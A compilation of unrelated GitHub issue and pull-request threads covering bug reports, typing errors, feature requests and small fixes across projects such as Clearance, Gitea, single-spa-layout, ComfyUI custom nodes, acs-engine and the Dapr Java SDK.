Thanks, should be fixed now, in 0.20.0 :slightly_smiling_face:

Thanks, should be fixed now, in 0.20.0 slightly_smiling_face

Awesome thanks!

Wow, that was fast! Thanks for the fix!


Fix mailer delivery expectation

3ca7a6b20a73f90b68fbfdb5a794d6caa1d941ef introduced a change in
visitor_resets_password_spec.rb.tt to break up the expectation on the
email's body into an html_part and text_part. The block that finds
the email however was only considering the match to the text_part
because it was not chained to the other conditions, so the subject and
html part were effectively ignored.
This commit chains all the conditions together to ensure they are
finding the right thing.

Note: I couldn't find anywhere where this code was being executed in the test suite, but I did verify that the change passed in my app, and that inverting the conditions of the first expression (i.e. by using !~ instead of =~s) had no effect before, but did fail the test after. Hope that suffices!

One of the tests that gets run on a full rake generates a new app, installs clearance and the generated specs, and runs the tests. So that's how this gets tested. Thanks for the patch!

@derekprior strange, I couldn't get it to fail when running the rake task, though I did have some pains in getting myself set up (particularly because I vendorize my gems by default - addressed in appraisal here - https://github.com/thoughtbot/appraisal/commit/91eb5d63fdbc7237c6e1715b5569ac85a727a5d6 - and because my railsrc was interfering. I'll see if I can address some of those issues in a follow up PR(s)). Thanks!


[perf] Cause RollupService to verify DML needed

Added specific tests to validate these features on both realtime and scheduled mode jobs.
Other tests updates reflect behavior differences in limit counts due to this feature.
Critical Changes
Changes
Issues Closed
#1269

Wait on this one, I still need to add a setting to disable the "should I DML" verification.

This is ready for review!
Haven't looked at why the CI is failing.

@Riley-Schill Would you like to do some QE before merging?


GPT Response Cut Off in Discord, Preventing Full Readability

Issue Description:
When using the wumpus-gpt bot on Discord, I have noticed that in certain cases, the response generated by GPT is too long and gets cut off, making it impossible to read the full response. This issue hampers effective communication and comprehension, as crucial information may be missing or incomplete.
Steps to Reproduce:

Install and set up wumpus-gpt on a Discord server.

Initiate a conversation or command that triggers GPT to generate a lengthy response. (/ask or /chat)

Observe the response in Discord, where it is expected to be fully displayed.

Current Behavior:
Currently, when the generated response from GPT exceeds a certain length, Discord cuts off the response, leading to incomplete or truncated messages. As a result, users are unable to read the complete response, leading to confusion and loss of information.
Expected Behavior:
The expected behavior is that Discord should display the complete response generated by GPT, regardless of its length. Users should be able to view the full response, ensuring effective communication and comprehension within the Discord environment.
Additional Information:

This issue seems to occur consistently when GPT generates responses longer than a certain character limit, but the exact limit is unclear.

The problem affects both text-based responses and code snippets generated by GPT.

It is important to note that this issue may not be limited to a specific version of Discord or GPT, as it may be an inherent limitation of the integration between the two platforms.

The issue negatively impacts the usability of GPT on Discord and should be addressed to improve the user experience and facilitate complete communication.

##Screenshots/Attachments:

I understand how crucial it is to have the full response from GPT displayed in Discord without any truncation. One possible solution to address this problem could be implementing a mechanism where GPT splits the long response into multiple messages using discord.js library.
By breaking the response into multiple messages, each within the character limit allowed by Discord, we can ensure that the entire content remains readable. This approach would enable users to view the complete response seamlessly, avoiding any loss of information or confusion.
To implement this solution, you could consider the following steps:

Check the length of the generated response before sending it to Discord.
Determine a maximum character limit per message that Discord allows (typically 2000 characters).
Split the response into multiple messages, ensuring each message is within the character limit.
Use the discord.js library to send these messages sequentially, maintaining the order and coherence of the response.
If necessary, add an indicator or pagination system to help users navigate through the multi-part response.

By implementing this solution, users will be able to read the complete response from GPT without any truncation, enhancing the overall usability of the integration between GPT and Discord.
Please let me know if you need any further assistance or clarification.


Autofill section overlaps with KeyboardAvoidingView

Description
On Android, the autofill section (on top of the keyboard) overlaps with the KeyboardAvoidingView component.
React Native version:
System:
    OS: macOS 10.15.5
    CPU: (4) x64 Intel(R) Core(TM) i5-4288U CPU @ 2.60GHz
    Memory: 192.47 MB / 8.00 GB
    Shell: 5.7.1 - /bin/zsh
  Binaries:
    Node: 12.22.0 - ~/.nvm/versions/node/v12.22.0/bin/node
    Yarn: 1.19.0 - /usr/local/bin/yarn
    npm: 6.14.11 - ~/.nvm/versions/node/v12.22.0/bin/npm
    Watchman: 4.9.0 - /usr/local/bin/watchman
  SDKs:
    iOS SDK:
      Platforms: iOS 14.4, DriverKit 20.2, macOS 11.1, tvOS 14.3, watchOS 7.2
    Android SDK:
      API Levels: 28, 29
      Build Tools: 28.0.3, 29.0.1
      System Images: android-22 | Google APIs Intel x86 Atom, android-25 | Google APIs Intel x86 Atom, android-29 | Google Play Intel x86 Atom
  IDEs:
    Android Studio: 3.5 AI-191.8<IP_ADDRESS>00203
    Xcode: 12.4/12D4e - /usr/bin/xcodebuild
  npmPackages:
    react: 16.9.0 => 16.9.0
    react-native: 0.61.5 => 0.61.5

Steps To Reproduce
On the Expo Snack example (make sure you select Android platform), tap on the field. If the TextInput has a value there is no problem, but if it's empty, the autofill section overlaps with the content.
Expected Results
The KeyboardAvoidingView should be aware of that extra space.
Snack, code example, screenshot, or link to a repository:
Snack: https://snack.expo.io/@nico-amabile/autofill-and-keyboardavoidingview

I have the same Issue. Any news on this one?


Can we further reduce the minimum time for termini unbunching?

The current minimum (due to overcrowding) is at 2x standard dwell time (at 2*12 = 24 "ticks").
This is technically possible, but we should be asking ourselves whether we should. If such distance is too low, then it may make the redeploy-midway feature less useful as it should be, because then theoretically, there is no gap in between buses that are coming from the same terminus.
Think about it.

Buses etc can always have delays midway in their service. Redeploy-midway always has a purpose to exist.
A quick test on an empty map shows the current minimum of 2x works on 300% budget lines, but breaks down at 400% budget lines. There would be just too many vehicles queuing at the bus termini, that we would have effectively soft-capped the line budget to 300%.
We can use an even smaller value. No one would possibly do any budget larger than 400%... right?

Eventually, this can solve the problem of late-game cities where, due to spread-out cims, some metro/train lines can become unprofitable but still remain essential. It is not possible to delete those metro/train lines since they still offer very fast transport to other parts of the city.
This update increased the max frequency of bus lines. Depending on the situation, some of these suffering metro/train lines can now be converted to dedicated high-speed BRT lines to minimize operating costs.
This is an unintended side effect of increasing the max frequency of bus lines.

Update released; closing.


DocsArchive-<IP_ADDRESS>Auto archive content

Auto archive content from https://github.com/OPS-E2E-PPE/docs-archive-test-source

Docs Build status updates of commit 5a59a4f:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

:x:Error

Details

[Error]

Cannot sync git repo to specified commit because branch Release_Archive_master_2020-01-14-06-47-49 has been deleted or has been force pushed: fatal: couldn't find remote ref refs/heads/Release_Archive_master_2020-01-14-06-47-49

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


[Feature] Impersonation

Gitea version (or commit ref): 1.2.3
Git version: debian9 version
Operating system: debian9
Database (use [x]):

[ ] PostgreSQL
[x] MySQL
[ ] MSSQL
[ ] SQLite

Can you reproduce the bug at https://try.gitea.io:

[ ] Yes (provide example URL)
[ ] No
[x] Not relevant

Log gist:

Description
Impersonation feature is relevant for me.  Impersonate user should be a good option for assistance user.
Screenshots

Not a best option but as workaround you can copy password hash from user table, change password, login with that user, update user password hash back in database

It is a request because we have leaved gitlab and one of our admin use this often in gitlab. I will communicate your suggestion

Yes, I understand, I just giving you temporary workaround while this feature is not implemented

@lafriks @djgreg13 I think you can login with an accesstoken no?

api sudo functionality now possible to "impersonate" users.

resolved by #4809


Buttons are disabled by class instead of attribute

In this code https://github.com/enketo/enketo-core/blob/master/src/js/Form.js#L460, buttons are enabled and disabled via a CSS class called disabled.
It seems more standard (and more in-line with bootstrap's recommendations, if that's relevant), to use the disabled attribute on a button element.
Would this be an improvement?  Happy to submit a patch.

Yes, this would be better. I hope you'll find every nook and cranny this is used in. :)
(sorry I somehow missed this)

haha!  I'll see what we can do :-)

I think this may be all that's required for a fix - disabled can't be applied as a prop to a lot of elements (basically non-inputs/buttons), so use of classes there are appropriate.

ah, okay now I understand why classes were used everywhere. Thanks! Will look at PRs soon.

I think this is done. Please reopen if necessary.


TS2694: Namespace '"/node_modules/parse5/dist/index"' has no exported member 'DefaultTreeDocument'.

I'm using single-spa-layout it works perfectly, however when performing the build it returns an error log in the terminal, basically accusing problems regarding the third-party lib found in node_modules.
My dependencies in root-config:

package.json

  "dependencies": {
    "@types/jest": "^27.0.1",
    "@types/systemjs": "^6.1.1",
    "@types/webpack-env": "^1.16.2",
    "single-spa-layout": "^2.1.0"
  },

Log error

$ tsc
$ tsc
node_modules/single-spa-layout/dist/types/browser/constructApplications.d.ts:36:5 - error TS1170: A computed property name in a type literal must refer to an expression whose type is a literal type or a 'unique symbol' type.

36     [name]: Array<AppRoute>;
       ~~~~~~

node_modules/single-spa-layout/dist/types/browser/constructApplications.d.ts:36:5 - error TS2464: A computed property name must be of type 'string', 'number', 'symbol', or 'any'.

36     [name]: Array<AppRoute>;
       ~~~~~~

error TS2694: Namespace '"/node_modules/parse5/dist/index"' has no exported member 'DefaultTreeDocument'.

74 export type RoutesConfig = InputRoutesConfigObject | Element | import('parse5').DefaultTreeDocument | string;
                                                                                ~~~~~~~~~~~~~~~~~~~

node_modules/single-spa-layout/dist/types/isomorphic/constructRoutes.d.ts:95:63 - error TS2694: Namespace '"/node_modules/parse5/dist/index"' has no exported member 'Element'.

95 export type ContainerEl = string | Element | import('parse5').Element;
                                                                 ~~~~~~~

Found 4 errors in 2 files.

Errors  Files
     2  node_modules/single-spa-layout/dist/types/browser/constructApplications.d.ts:36
     2  node_modules/single-spa-layout/dist/types/isomorphic/constructRoutes.d.ts:74

From what I'm seeing here, the parser5 dependency in version 6.0.1 does not have this property informed, so the error occurs, even when downgrading to previous versions and looking at the parser5 https://github.com/inikulin/parse5/releases/tag/v7.0.0.

https://github.com/single-spa/single-spa-layout/blob/325f6eff46437cf497cf230dde00163667cd4d11/pnpm-lock.yaml#L47

One of the errors you find about typing:
node_modules/single-spa-layout/dist/types/browser/constructApplications.d.ts

If we type it as shown below, we can already solve two typing problems, however I can't solve the parse5 problem because the DefaultTreeDocument property no longer exists in the informed class.
export type ApplicationMap = {
    [name]: Array<AppRoute>;
};

to
export type ApplicationMap = {
    [name:string]: Array<AppRoute>;
};

Mention to parse5 :
node_modules/single-spa-layout/dist/types/isomorphic/constructRoutes.d.ts
node_modules/single-spa-layout/dist/types/isomorphic/constructRoutes.d.ts:95:63 - error TS2694: Namespace '"/node_modules/parse5/dist/index"' has no exported member 'Element'.
95 export type ContainerEl = string | Element | import('parse5').Element;
~~~~~~~

I can help walk through some of this. It seems that this is just TypeScript typings mismatch, but not actually a bug with single-spa-layout.
It appears that parse5's types got updated for v6 here: https://github.com/DefinitelyTyped/DefinitelyTyped/pull/48402/files#diff-107d402a30275251354f4d0116a2942b4b0631205531ad5ee46c602108ab1836R111
which explains why DefaultTreeDocument is throwing an error; it was renamed to just Document in v6. We use that type in single-spa-layout here: https://github.com/single-spa/single-spa-layout/blob/6a6eac8ba161c2a93d393616892fa88d6c028294/src/isomorphic/constructRoutes.js#L19 so to validate this locally, you could change that line in your apps' node_modules and see if it compiles (or throws a different error). PR for this fix is welcome!
The error from your screenshot does not have to do with parse5 typings and is separate TypeScript-ism that you could open as a separate issue.

Fix released in https://github.com/single-spa/single-spa-layout/releases/tag/v2.2.0


Electricity shader is always out of focus when using Depth of Field standard effect asset

When applying the Depth of Field image effect from the Unity Effects asset package, all electricity elements are out of focus.
A sample project exhibiting this issue can be found here https://github.com/kaze0/Tilt-Brush-Toolkit-Issue
This sample porject has a Main Camera, with the modern Depth of Field image effect applied.
A small cube was placed inside of the electricity element that was exported from tilt brush, then the depth of field effect was set to target the cube as a way of ensuring that a useful transform was being targeted. You'll notice that the cube is in focus, but the electricity is not.
I have also moved a splatter paint element, that was exported from tilt brush, into that area as well. The splatter element is in focus as well.
As set up in this test project, I would expect the electricity to be in focus.
Most brush strokes seem to work fine. Disco might be another problematic one, but I haven't had time to take a second look.
Please see project at https://github.com/kaze0/Tilt-Brush-Toolkit-Issue
Sample showing the in focus cube + splatter and out of focus electricity. Zoomed in for effect.

Standard depth-of-field implementations have the drawback that they only operate on geometry that writes depth. This means they won't work on transparent or additive geometry.


Status of this project ?

Just a short question: Is Kedge still in active development or has it been given up (like opencompose) ? I'm just asking because the last commit was six months ago (and I'm currently looking to triage https://github.com/fabric8io/fabric8-maven-plugin/issues/947 and wonder whether opencompose/kedge is still supported or what the alternatives would be.
thanks ...

Hi, currently it is "on pause", there is no new development planned right now.
It might be resurrected if we find some real use case for it, or if someone shows interest in using it.


'type' object is not subscriptable

Cloned the repository into custom_nodes, downloaded a 1.5v2 model in the models folder, ran main.py and got this error.
Traceback (most recent call last):
File "/home/ubuntu/SD/ComfyUI/nodes.py", line 1734, in load_custom_node
module_spec.loader.exec_module(module)
File "", line 848, in exec_module
File "", line 219, in _call_with_frames_removed
File "/home/ubuntu/SD/ComfyUI/custom_nodes/ComfyUI-AnimateDiff-Evolved/init.py", line 2, in
from .animatediff.nodes import NODE_CLASS_MAPPINGS, NODE_DISPLAY_NAME_MAPPINGS
File "/home/ubuntu/SD/ComfyUI/custom_nodes/ComfyUI-AnimateDiff-Evolved/animatediff/nodes.py", line 17, in
from .motion_lora import MotionLoRAInfo, MotionLoRAList
File "/home/ubuntu/SD/ComfyUI/custom_nodes/ComfyUI-AnimateDiff-Evolved/animatediff/motion_lora.py", line 18, in
class MotionLoRAWrapper:
File "/home/ubuntu/SD/ComfyUI/custom_nodes/ComfyUI-AnimateDiff-Evolved/animatediff/motion_lora.py", line 19, in MotionLoRAWrapper
def init(self, state_dict: dict[str, Tensor], hash: str):
TypeError: 'type' object is not subscriptable
Cannot import /home/ubuntu/SD/ComfyUI/custom_nodes/ComfyUI-AnimateDiff-Evolved module for custom nodes: 'type' object is not subscriptable
Python version is 3.8.10.

Using version 3.9 or higher should solve your problem.

Yep, updating to Python 3.9 will solve your issue. Types are annotated in parts of my code that are not compatible with 3.8 or prior. 3.8 came out in 2019, so I am not considering changing my code type annotation to work with that.


Update MAINTAINERS list

What this PR does / why we need it:
Which issue(s) this PR fixes:
Fixes #
Does this PR introduce a user-facing change?:
NONE

@kentakozuka plz


error: github slack-alert link duplicates repo name

Feature: allow slack-alert variables to be overridden via command parameters.
The default slack-alert in github displays the text: "This run was triggered by [username]"
https://github.com/[**organisation**]/[**organisation**/repo]/commit/[commit_sha]
The organisation is repeated, because Github Environment variables docs defines the "GITHUB_REPOSITORY" as:
"The owner and repository name. For example, octocat/Hello-World."  [**organisation**/repo
The existing settings come from  github env variables  https://github.com/YOU54F/cypress-plugins/blob/b7bd0de91d34316f68425ff80c590d5038a46669/cypress-slack-reporter-old/src/slack/slack-alert.ts#L741
Is there an exsiting way to provide a customized CI_PROJECT_REPONAME?

https://github.com/YOU54F/cypress-plugins/blob/b7bd0de91d34316f68425ff80c590d5038a46669/cypress-slack-reporter-old/src/slack/slack-alert.ts#L695
has
return `https://github.com/${ciEnvVars.CI_PROJECT_USERNAME}/${ciEnvVars.CI_PROJECT_REPONAME}/commit/${ciEnvVars.CI_SHA1}`;
The params:
ciEnvVars.CI_PROJECT_USERNAME is set here, and
ciEnvVars.CI_PROJECT_REPONAME is set here
    (CI_PROJECT_REPONAME = process.env.GITHUB_REPOSITORY), // The owner and repository name. For example, octocat/Hello-World.
    (CI_PROJECT_USERNAME = process.env.GITHUB_REPOSITORY_OWNER),


[Bug]: Double clicking on "Options" in menu too fast crashes game

Is there an existing issue for this?

[X] I have searched the existing issues

Contact Details
TrentTheTrumpCard#3557
Version Info
Latest available release
What operating system are you seeing the problem on?
Windows
Bug Behavior
I can't double click fast enough with a single mouse button, but with left and right at the same time it crashes.
Expected Behavior
It should just go to the options like normal
Reproduction Steps

Run the game
Click "Options" with both left and right mouse buttons
Profit

Anything else?
b8f58004-aec5-4b0b-ac4f-cf53ad1aac68.zip

fixed 651b6cbe9f77bf4c6748e374904ec1c1b678703e


Add instructions for Window 2019

Please update the above documentation to include instructions for Windows Server 2019.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: eb5cf254-9d8e-de7a-30e8-487b68205bc2
Version Independent ID: 28bc66e2-0de2-73e6-8cb8-243daab81628
Content: Azure AD Connect Health Agent installation
Content Source: articles/active-directory/hybrid/how-to-connect-health-agent-install.md
Service: active-directory
GitHub Login: @zhiweiwangmsft
Microsoft Alias: billmath

Hi @DeanGross
Thank you for your feedback! We have assigned this issue to the author to review further and take the right course of action.

Hello,
Do you have instructions for installing on Windows Server 2016 Core OS - I have having issues as servers don't have direct access to the internet and looking a the Firewall logs I can see the server trying to connect direct rather than use proxy settings from netsh WinHttp setting or the Proxy setting I have configured using the Set-AzureAdConnectHealthProxySettings -HttpsProxyAddress

Have got the install to work on Server Core, had to configure proxy under netsh winhttp and then restart the server. To configure Agent needed to run the commands
$cred = Get-Credential
Register-AzureADConnectHealthADFSAgent -Credential $cred

Also had to add proxy settings to .Net - https://docs.microsoft.com/en-gb/azure/active-directory/hybrid/how-to-connect-install-prerequisites#connectivity

@DeanGross Thank you for your feedback.  I have created a work item for this.  At this point we can close the issue and I will reach out to you once it is updated.  Thanks!
#please-close


at MuiSnackbar Custom Snackbar is not working

in MuiSnackbar the custom snackbar was not working please check that

#27 at this pull request
const SnackbarAlert = forwardRef<HTMLDivElement, AlertProps>(     function SnackbarAlert(props, ref){         return <Alert elevation={6} ref={ref} {...props} />;     }  )


Add InstantPocketbase type with custom Serializable

I wanted to have something like this for my custom types, but I thought it would be great to have on the BaseModel for created and updated as well.
Disclaimer: I wasn't able to test properly, not sure if my set up is wrong or if tests actually failed.

It looks good! I've had better instant serialization on the to-do list for a while now. I appreciate the contribution.
Unfortunately, I haven't gotten around to writing solid test documentation, but I'll get around to that soon-ish.
I'll merge as soon as Kotlin supports Xcode 15 for multiplatform builds.

@agrevster if you're talking about this issue, then it looks like it's already fixed.

I saw that, but I'm also waiting on the fix for another issue to be added to a stable Kotlin version.

I saw that, but I'm also waiting on the fix for another issue to be added to a stable Kotlin version.

Seems already fixed ;)


feat: add github and github actions templates

Resolves #3

Welcome to Codecov :tada:
Once merged to your default branch, Codecov will compare your coverage reports and display the results in this comment.
Thanks for integrating Codecov - We've got you covered :open_umbrella:


[BUG] KES doesn't load properly in Violentmonkey

Describe the bug
After installing KES with Violentmonkey, it throws a syntax error in the console, and it doesn't load at all. Removing the offending await on line 133 allows the script to load, but none of the options appear in the settings
To Reproduce

Install KES with Violentmonkey
Open any kbin instance
Check the console for errors

Expected behavior
It should load the settings menu properly and show all of the options
Screenshots

KES version:

1.1.1

Desktop (please complete the following information):

OS: Windows
Browser: Firefox
Browser version: 114.0.2

Resolved by 8c716b1c5946a8af4c20dccf1014924648a19ffd


Need to add parser-readline as installed package for testing

Seems like serialport broke up the packages in NPM from what was in the core serialport package so now parser-readline component needs installation directly.
Only used in dev scenario for testing to mock with so can be used as a dev dependency. Will also resolve failing avrgirl-arduino upgrade path in #103

Closed by #111

Closed by #111


feat: enable Urdu news - Ghost

How/when do you decide to remove the redirect to /news (english?

Which line are you talking about?


K4A_DEPTH_MODE_WFOV_UNBINNED

In fastpointcloud example,Why can't I set K4A_DEPTH_MODE_WFOV_UNBINNED,No problem with the rest of the settings,for example K4A_DEPTH_MODE_WFOV_2X2BINNED,thanks

Due to raw image data size this is the one mode we don't support at 30 FPS.
https://docs.microsoft.com/en-us/azure/Kinect-dk/hardware-specification#depth-camera-supported-operating-modes


Rename tokens

Small PR to change names of tokens used in the worklows for a better differentiation of purposes/permissions.
All the tokens have been created using the access-bot user and added to this repo as secrets.

Thanks @CodeGat!
Merged.


AMOLED themes

Describe your suggested feature
Just wondering why they were removed. They were the themes I was using before this update.
Other details
No response
Acknowledgements

[X] I have searched the existing issues and this is a new ticket, NOT a duplicate or related to another open issue.
[X] I have written a short but informative title.
[X] I have updated the app to the newest version Latest.
[X] I have checked through the app settings for my feature.
[X] I will fill out all of the requested information in this form.

Didn't look good
Provided no value, and caused more hindrance when new screens were added
Doesn't actually save battery https://www.xda-developers.com/amoled-black-vs-gray-dark-mode/


Add failing spec for Elixir resolution in an umbrella app

Elixir version resolution fails (and errors) for umbrella applications where resolution of the latest version is blocked.

This doesn't happen for non-umbrella apps
This doesn't happen for cases where resolution of the latest version isn't blocked

@stevedomin - do you reckon you could take a look into this?  Will work harder to get a reproduction case...


ip_mreqn roundtrip test fails for mips64 and sparc64

See discussion in #1555 . This link contains experiments for Rust and C: https://rust.godbolt.org/z/ak3pec
This struct has 3 fields, where each field is 4 bytes wide. The first two fields are a struct { u32 }, while the last fields is an i32. The struct is 12 bytes wide - no padding.
The roundtrip test initializes the struct bytes in Rust to the following values: [0, 1, 2, 3, ..., 11]. It then passes the struct by value to a C function expecting it. This function then reads the bytes of the struct and verifies that they match the values set on the Rust side. This fails, reporting that the last 4 bytes (the ones of the i32) are read as [0, 0, 0, 0] instead if [8, 9, 10, 11].
What we know:

the struct is available from the C headers, otherwise the C example that uses it without declaring it would not compile
the struct name, size, alignment requirement, as well as the field offsets of the struct match those of the C definition, because those tests do pass

So AFAICT the only thing that might be causing the error is an incorrect "call ABI", where the content of the 3rd struct field is being passed in the wrong register, and when C reads it from the right one, the contents are zeroed.

Based on your godbolt link, looks like rustc is passing { i64, i32 }, while C expects i64, i32. Not sure what the effect of that is though.

Not sure either :/


Parent assignment inconsistent for some Bacteria classes

Some Shigella serotype classes are under 'Bacteria', and some are under 'Shigella'. I'm moving all under 'Shigella' (using OntoFox) for the upcoming release. Similarly, I'm moving 'Vibrio cholerae O1' under 'Vibrio cholerae'.

These changes are in the release candidate (2020-03-13).


textDocument/inlayHint fails when re-opening vscode on a qute template

When the current editor is a qute template, if you restart vscode, you'll see an error popup, caused by textDocument/inlayHint  failure:

[Trace - 11:26:21 AM] Received response 'textDocument/inlayHint - (6)' in 1113ms. Request failed: The request (id: 6, method: 'textDocument/inlayHint') has been cancelled (-32800).
[Error - 11:26:21 AM] Request textDocument/inlayHint failed.
[object Object]

The client code for managing inlayHint is hosted in vscode quarkus but we should remove it and use last published of vscode languagclient which shout provide inlayHint.
The thing which I fear is that the current code is à copy paste of vscode languageclient.
Let migrate to vscide languageclient and see if it will fix this issue.

This issue should be fixed with https://github.com/redhat-developer/vscode-quarkus/pull/506


Fix/duplicate bi cases created when verification link clicked more than once

When multiple RESPONDENT_ENROLED case events are posted, multiple BI cases are created for case groups (for the respondent enrolling). This PR guards against that scenario. This has been tested locally and in the performance test environment, by recreating the double click of the verification email link.
The result of this can be replicated by the following request
curl -v -u admin:secret -L -X POST http://localhost:8171/cases/<<CASE_UUID>>/events
-H 'Content-Type: application/json'
-d '{"description": "Respondent enroled", "category": "RESPONDENT_ENROLED", "partyId": "<<RESPONDENT_UUID>>", "createdBy": "Party Service"}'

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@4e77df0). Click here to learn what that means.
The diff coverage is 75%.

@@            Coverage Diff            @@
##             master      #32   +/-   ##
=========================================
  Coverage          ?   74.66%
=========================================
  Files             ?       30
  Lines             ?      675
  Branches          ?       79
=========================================
  Hits              ?      504
  Misses            ?      155
  Partials          ?       16

Impacted Files
Coverage Δ

...nse/casesvc/service/impl/CaseGroupServiceImpl.java
21.05% <ø> (ø)

...response/casesvc/service/impl/CaseServiceImpl.java
87.5% <75%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4e77df0...014c261. Read the comment docs.


koord-scheduler: fix reservation affinity in filter stage

Ⅰ. Describe what this PR does
If the Pod declares the Reservation Affinity, it is expected to force allocation from the Reservation. In #1265 , only the PreFilter stage is supported to check whether there are matching Reservations, but it is also necessary to check whether the current node has matching Reservations in the Filter stage, otherwise it may cause the Pod to allocate resources from the node.

Ⅱ. Does this pull request fix one issue?

Ⅲ. Describe how to verify it
Ⅳ. Special notes for reviews
V. Checklist

[x] I have written necessary docs and comments
[x] I have added necessary unit tests and integration tests
[x] All checks passed in make test

/lgtm


Use rustc-hash crate

Replace std's HashMap, HashSet with FxHashMap and FxHashSet.
Closes #121
Thanks!

bors r+
👍


Ford: show longitudinal personality in IPC

Adjust the time gap to 2, 3 or 4 bars for openpilot long.
Depends on #31760.
TODO

[x] set AccTGap_D_Dsply when value changes so that the popup appears with the new time gap
[ ] test in car

What happens without the popup signal?

If your car has a small 4" screen in the cluster (like comma's Bronco Sport) then you won't see anything change when you press the distance button, unless you have the driver assistance settings open.

When AccTGap_B_Dsply is set, the ACC time gap appears in a popup.
The cars with the larger screen in the cluster usually can always see the ACC distance.

If it's a ~1 line change, we can merge that now

Just went to test in the car and it seems like the camera sends AccTGap_B_Dsply on cruise main...
I don't have the small cluster in my car (I swapped it out) so I can't easily test the behaviour.
I'll remove the extra code for now

Makes sense, other brands show it briefly when engaging too.


Aggregate values from the tree branches.

Currently, the execution_status is counted in a simple manner in cpmonitor/view.py from a single level. It is necessary to count all the way down to the leaves. It might be better to prepare that data in the database and generate it when saving the data in Admin. (Might be similar to the slugs.)

I agree. On the other hand it is pretty simple to get all Maßnahmen that need to be aggregated: All leaves of a branch can easily picked by get_descendants().filter(numchild=0). This can be done in a single sql query using the path field and I hope that treebeard does that.
Therefore I would recommend to not optimise prematuely and close this issues until performance becomes an issue, since there are enough open issues to work on already.

We'd still need to implement that numchild=0-thing though before we close this, right? 🤔

As far as I understand, this issue only refers to the optimisation, i.e. aggregation in a separate database field.
Besides, "that numchild=0-thing" is already implemented in PR #123
So if we do not want to optimise now which I would say there is no need for, the ticket could be closed IMHO.


Add WernhersOldBits

Closes #2806

Looks good and merging with my thanks. Took me a while to figure out where you got the CRP recommendation from. Couldn't figure out where the realplume recommend comes from.


Fixes AMI lookup (and adds optional region specification)

The AMI lookup is currently broken as it attempts to call get_session() without passing any arguments, leading to the following error: get_session() takes exactly 1 argument (0 given)
This PR modifies the AMI lookup to accept an optional region (similar to some of the other lookups) and falls back to the provider to get the region if it's not explicitly set.

Thanks @dgarbus !


Implement Base Functionality

Implement basic S3 functionality. That is, we can invoke basic operations against all S3 endpoints, minus complex additional invocation (ie, range downloads, range searches, etc..)
To see the current status of features checkout the readme.
Basic functionality is all basic upload and bucket calls, without policy and multipart functionality.

done


MWPW-152106

Resolves : MWPW-152106

Codecov Report
Attention: Patch coverage is 0% with 40 lines in your changes missing coverage. Please review.

Project coverage is 89.62%. Comparing base (66da175) to head (9c62c09).

Files
Patch %
Lines

acrobat/blocks/acom-converter/acom-converter.js
0.00%
40 Missing :warning:

Additional details and impacted files
@@            Coverage Diff             @@
##            stage     #684      +/-   ##
==========================================
- Coverage   90.43%   89.62%   -0.82%
==========================================
  Files          36       37       +1
  Lines        4528     4568      +40
==========================================
- Hits         4095     4094       -1
- Misses        433      474      +41

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Issue 6 of the newsletter

This is a call to everyone out there who works in open bioinformatics - please share interesting stuff! This could be a new project launch, an interesting update or release, a link to useful resources (e.g. some nice biology related icons or an open source tool that could be useful, etc. If you aren't sure about something, feel free to drop me a line personally to discuss it, e.g. via twitter (yoyehudi) or email (yochannah@gmail.com).
Promoting yourself or your workplace is totally okay here - this is literally what the newsletter is for, within reason!
The next newsletter will probably be in shortly after BCC.

@FAIR-biomed is a modular browser extension for accessing open biomedical resources seamlessly inside a web browser. It brings a range of open-data resources - on genes, disease, genomic regions, variants - to any web-page. It is open-source and available as an extension for Chrome or an add-on for Firefox. More information and documentation available at https://fair-biomed.github.io
@tkonopka is leading the projects.

okay, this went out! Closing this issue - please use #13 for collating the next updates


Enable using custom vhds

WIP
Still needs:

acs-engine generate working
unit tests
deploy test

What this PR does / why we need it: Allows specifying a VHD URI to use as on OS Disk for either controller (master) or worker node VMs.
Which issue this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that issue when PR gets merged): fixes #2698
Special notes for your reviewer:
If applicable:

[x] documentation
[x] unit tests
[ ] tested backward compatibility (ie. deploy with previous version, upgrade with this branch)

Release note:

feat: can specify a VHD URI to use as on OS Disk for either controller (master) or worker node VMs.

@CecileRobertMichon tests are passing (I added a few too) but generation always fails on pretty print. Do you know how I can debug this further?
./bin/acs-engine --debug generate --api-model /Users/seknox/go/src/github.com/Azure/acs-engine/examples/custom-vhd.json
INFO[0000] Generating assets into _output/foo...
DEBU[0016] pki: PKI asset creation took 10.088629028s
FATA[0016] error pretty printing template: invalid character '"' after array element

@seanknox unfortunately those are really annoying to debug... it just means that somewhere in  your ARM template there's typo. I would check the agent + master resources files first

Deprecating in favor of more modern flavors. Consider this a disposable Egyptian hero who died building the Great Pyramids!


Add saga pattern support(saga-on-workflow)

Description
This PR is to add saga pattern support in Dapr java sdk.
The implementation of saga pattern is based on java workflow sdk which has been released in lasted v1.10.0 version.
At this time, This PR is a preview edition:

Saga pattern support is still a proposal and under review and discussion.
This PR is to help to understand how saga works, and we provide a saga quickstart as demo
This PR is not a final version and will keep updating during the proposal review and discussion
Don't merge this PR before the proposal is accepted and the design is finalized.

To run the saga quickstart, please reference to:
https://github.com/dapr/quickstarts/pull/956
Issue reference
TBD: update here after the proposal is submitted.
Checklist
Please make sure you've completed the relevant tasks for this PR, out of the following list:

[x] Code compiles correctly
[x] Created/updated tests
[ ] Extended the documentation

Close this PR because the saga-in-workflow solution is much better.


Issue #24 – should we use Boolean for the preference or just a controlled vocabulary?

Some instances, like appellations, have a E55_Type  to specify if an appellation is the one preferred by the institution or not. This type is therefore binary, either yes, it is a preferred appellation, or no, it is a non-preferred appellation.
There is two way to tackle this:

to use a Boolean variable (like yes or no);
to use controlled vocabulary (AAT or other).

What should we use? Could we use both?

Testing.

Testing

Testing

Use aat type. The Yes No means nothing in linked data

I will close this issue unless someone wants to add something.

I agree with @Habennin, It's always a better idea to use URIs to foster interoperability. Also, we don't know the future and we might need a third option in certain cases.
+1 for controlled vocabularies

In accordance with everyone, we will use Controlled Vocabularies, instead of booleans.


FitsLib + FitsSchema

FitsLib>
hduType: Add the TABLE type
